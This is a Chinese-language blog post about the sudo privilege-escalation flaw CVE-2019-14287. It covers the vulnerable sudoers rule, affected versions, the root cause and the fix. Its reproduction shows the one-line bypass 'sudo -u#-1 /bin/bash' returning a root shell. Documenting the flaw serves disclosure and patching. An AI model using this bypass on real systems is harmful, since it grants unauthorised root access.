title: CVE-2019-14287提权漏洞 date: 2019-10-16 09:15:00 categories: 信息安全 tags:
- 提权漏洞
CVE-2019-14287提权漏洞
sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具。
漏洞描述
这个漏洞比较鸡肋,并不是sudo版本低就可以让你能够提权,需要满足一定条件才能触发这个漏洞。
场景复现
Linux默认是没有将用户添加到sudoers列表中的,需要root手动将账户添加到sudoers列表中,才能让普通账户执行sudo命令。
影响版本
sudo < 1.8.28
添加用户
在服务多的情况下,管理员会将一些普通用户添加到sudoers列表中,这也是我们触发漏洞的关键。
# username ALL=(ALL,!root) ALL
- username表示添加的用户名
- 第一个ALL表示允许该用户在任意机器或者终端中使用sudo
- 括号里面的(ALL,!root)表示命令可以被除了root以外的任意用户身份去执行
- 最后一个ALL表示被允许执行的命令
修改/etc/sudoers文件,kalifun用户不能以root用户执行/bin/bash命令。
kalifun ALL=(ALL,!root) /bin/bash
操作过程
1.切换kalifun用户
#su kalifun
#whoami
#kalifun
2.执行/bin/bash
#sudo /bin/bash
Sorry, user kalifun is not allowed to execute '/bin/bash' as root on xxxxxxxx.
你会发现你无法执行bash命令。现在我们进行提权操作。
3.提权
#sudo -u#-1 /bin/bash
bash-4.2# whoami
root
现在你就变成root权限了。
漏洞原理
用户可以通过命令行上的 –u#-1 绕过这个非 root限制。如果将 sudo配置为允许用户通过Runas 规范中的 ALL 关键字以任意用户身份运行命令,则可以通过指定用户 ID为-1 或4294967295 以 root 用户身份运行命令。只要Runas 规范中最先列出 ALL 关键字,即使Runas 规范明确禁止 root访问权限,那么具有足够的 sudo 权限的而用户即可以 root 身份运行命令。以这种方式运行的命令的日志条目会把目标用户列为 4294967295而非 root。
修复
手动升级sudo版本。